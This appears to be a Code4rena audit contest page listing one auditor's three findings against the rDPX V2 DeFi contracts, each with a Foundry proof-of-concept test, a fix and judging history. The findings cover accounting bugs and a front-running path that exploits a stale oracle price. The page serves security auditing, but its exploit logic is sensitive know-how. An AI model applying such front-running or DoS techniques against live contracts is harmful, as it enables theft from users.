Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 68/189
Findings: 3
Award: $158.31
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
Due to the weth amount not being updated inside the LP vault, the settle() function may revert.
function settle( uint256[] memory optionIds ) external onlyRole(DEFAULT_ADMIN_ROLE) returns (uint256 amountOfWeth, uint256 rdpxAmount) { _whenNotPaused(); (amountOfWeth, rdpxAmount) = IPerpetualAtlanticVault( addresses.perpetualAtlanticVault ).settle(optionIds); for (uint256 i = 0; i < optionIds.length; i++) { optionsOwned[optionIds[i]] = false; } reserveAsset[reservesIndex["WETH"]].tokenBalance += amountOfWeth; reserveAsset[reservesIndex["RDPX"]].tokenBalance -= rdpxAmount; emit LogSettle(optionIds); }
When the admin settles the options, the collateral token(weth) is transferred from Lp vault to rdpxV2Core.
function subtractLoss(uint256 loss) public onlyPerpVault { require( collateral.balanceOf(address(this)) == _totalCollateral - loss, "Not enough collateral was sent out" ); _totalCollateral -= loss; //@audit }
And the transferred weth amount is decreased from the LP vault's total collateral balance. The problem is, when a premium is bought, the total Collateral balance isn't updated.
POC : rdpxV2-core Unit.t.sol
function testLPVaultWETHBalance() public { //@audit First LP Vault has 100 weth balance console2.log( "VaultLp WETH Balance :", weth.balanceOf(address(vaultLp)) ); rdpxV2Core.bond(5 * 1e18, 0, address(this)); rdpxV2Core.bond(1 * 1e18, 0, address(this)); //@audit After calling the bond() function(buying premium), LP Vaults weth balance didnt increased console2.log( "VaultLp WETH Balance After Bond() :", weth.balanceOf(address(vaultLp)) ); vault.addToContractWhitelist(address(rdpxV2Core)); uint256[] memory _ids = new uint256[](1); _ids[0] = 0; rdpxPriceOracle.updateRdpxPrice(1e7); rdpxV2Core.settle(_ids); //@audit After calling the settle() function, LP Vaults weth balance decreased console2.log( "VaultLp WETH Balance After Settle() :", weth.balanceOf(address(vaultLp)) ); rdpxV2Core.bond(10 * 1e18, 0, address(this)); rdpxV2Core.bond(1 * 1e18, 0, address(this)); //@audit Again LP Vaults balance isnt increased console2.log( "VaultLp WETH Balance After Second bond() calls :", weth.balanceOf(address(vaultLp)) ); _ids = new uint256[](3); _ids[0] = 1; _ids[1] = 2; _ids[2] = 3; rdpxPriceOracle.updateRdpxPrice(1e6); rdpxV2Core.settle(_ids); //@audit And here as we can see LP vaults weth balance only decreasing console2.log( "VaultLp WETH Balance After Second Settle() call :", weth.balanceOf(address(vaultLp)) ); }
Due to the LP Vaults weth balance isn't tracked correctly, this line may revert when the admin trying to settles the options.
Manual Review
Update the LP Vaults weth balance when a premium is bought.
Other
#0 - c4-pre-sort
2023-09-09T09:59:56Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:15:08Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T20:02:30Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2023-10-21T07:26:28Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-10-21T07:26:28Z
GalloDaSballo changed the severity to 3 (High Risk)
🌟 Selected for report: 0xrafaelnicolau
Also found by: 0x111, 0xCiphky, 0xMosh, 0xWaitress, 0xc0ffEE, 0xkazim, 0xnev, 0xvj, ABAIKUNANBAEV, Aymen0909, Baki, ElCid, HChang26, HHK, Inspex, Jorgect, Kow, Krace, KrisApostolov, LFGSecurity, MiniGlome, Nyx, QiuhaoLi, RED-LOTUS-REACH, Talfao, Toshii, Vagner, Viktor_Cortess, Yanchuan, _eperezok, asui, atrixs6, bart1e, bin2chen, carrotsmuggler, chaduke, chainsnake, deadrxsezzz, degensec, dethera, dimulski, dirk_y, ether_sky, gizzy, glcanvas, grearlake, gumgumzum, halden, hals, kodyvim, koo, ladboy233, lanrebayode77, max10afternoon, minhtrng, mussucal, nobody2018, peakbolt, pontifex, qbs, ravikiranweb3, rvierdiiev, said, tapir, ubermensch, volodya, wintermute, yashar, zaevlad, zzebra83
0.0734 USDC - $0.07
Due to the wrong totalWethDelegated, bond and bondWithDelegate functions may not be usable.
When the user uses the addToDelegate() function, the totalWethDelegated is updated. But If the user changes his mind and wants to withdraw his delegated funds, the totalWethDelegated is not updated.
POC Unit.t.sol
function testTotalWethDelegated() public { //@audit // console2.log("totalWethDelegated :", rdpxV2Core.totalWethDelegated()); console2.log("WETH Balance :", weth.balanceOf(address(rdpxV2Core))); uint256 delegateId = rdpxV2Core.addToDelegate(50 * 1e18, 10 * 1e8); console2.log( "totalWethDelegated After Delegate :", rdpxV2Core.totalWethDelegated() ); console2.log( "WETH Balance After Delegate :", weth.balanceOf(address(rdpxV2Core)) ); rdpxV2Core.withdraw(delegateId); console2.log( "WETH Balance After Withdraw :", weth.balanceOf(address(rdpxV2Core)) ); console2.log( "totalWethDelegated After Withdraw :", rdpxV2Core.totalWethDelegated() ); }
the sync() function may revert because of this line.
// reLP if (isReLPActive) IReLP(addresses.reLPContract).reLP(_amount);
And due to that, bond() and bondWithDelegate() functions may not be usable because the sync() function is called inside the reLP() function.
Manual Review
Update the totalWethDelegated when users withdraw.
DoS
#0 - c4-pre-sort
2023-09-07T08:14:57Z
bytes032 marked the issue as duplicate of #2186
#1 - c4-judge
2023-10-20T17:55:32Z
GalloDaSballo changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-10-20T18:01:05Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2023-10-21T07:38:55Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-10-21T07:48:08Z
GalloDaSballo marked the issue as partial-50
🌟 Selected for report: said
Also found by: 0xWaitress, Nyx, RED-LOTUS-REACH, Tendency, __141345__, carrotsmuggler, nirlin, peakbolt, qpzm, wallstreetvilkas
158.2271 USDC - $158.23
Users can bond with less rDPX amount than it should be. Also, Users who come in with ETH deposit it in a pool may get less rDPX.
When users use bond() or bondWithDelegate() functions, the bond cost or rDPX amount is calculated inside the calculateBondCost() function. To calculate the rdpxRequired, the function gets the rDPX price from rdpxPriceOracle. The problem is, the rDPX price may not be updated. Assuming that the keeper updates the price via the update() function. Due to the price is not updated inside the bond functions, anyone can front-run the keeper's tx and bond more WETH with less rDPX amount.
POC : Integration.t.sol
function testRDPXPrice() public { //@audit // First rpdx price(.312 eth) address[] memory path; path = new address[](2); path[0] = address(weth); path[1] = address(rdpx); router.swapExactTokensForTokens( 500e18, 0, path, address(this), block.timestamp ); rdpxPriceOracle.updateRdpxPrice(312 * 1e5); uint price1 = rdpxV2Core.getRdpxPrice(); console2.log("Price 1 :", price1); (uint256 rdpxReq, uint256 wethReq) = rdpxV2Core.calculateBondCost( 10 * 1e18, 0 ); console2.log("Required rdpx before price update", rdpxReq); //@audit lets say the user frontruns here! rdpxV2Core.bond(10 * 1e18, 0, address(1)); //update price to (0.2 eth) path[1] = address(weth); path[0] = address(rdpx); router.swapExactTokensForTokens( 2000e18, 0, path, address(this), block.timestamp ); //@audit As we can see here, if the user frontruns the keeper, the user can bond more weth with less rDPX! rdpxPriceOracle.updateRdpxPrice(2 * 1e7); uint price2 = rdpxV2Core.getRdpxPrice(); console2.log("Price 2 :", price2); (rdpxReq, wethReq) = rdpxV2Core.calculateBondCost(10 * 1e18, 0); console2.log("Required rdpx after price update :", rdpxReq); }
Foundry
To correctly calculate the rDPX amount, the rpdx price needs to be updated inside the bond functions.
Other
#0 - c4-pre-sort
2023-09-09T06:19:52Z
bytes032 marked the issue as duplicate of #237
#1 - c4-pre-sort
2023-09-12T06:05:13Z
bytes032 marked the issue as sufficient quality report
#2 - c4-pre-sort
2023-09-14T09:34:08Z
bytes032 marked the issue as duplicate of #761
#3 - c4-judge
2023-10-20T15:47:04Z
GalloDaSballo marked the issue as satisfactory
#4 - c4-judge
2023-10-21T07:54:55Z
GalloDaSballo changed the severity to 2 (Med Risk)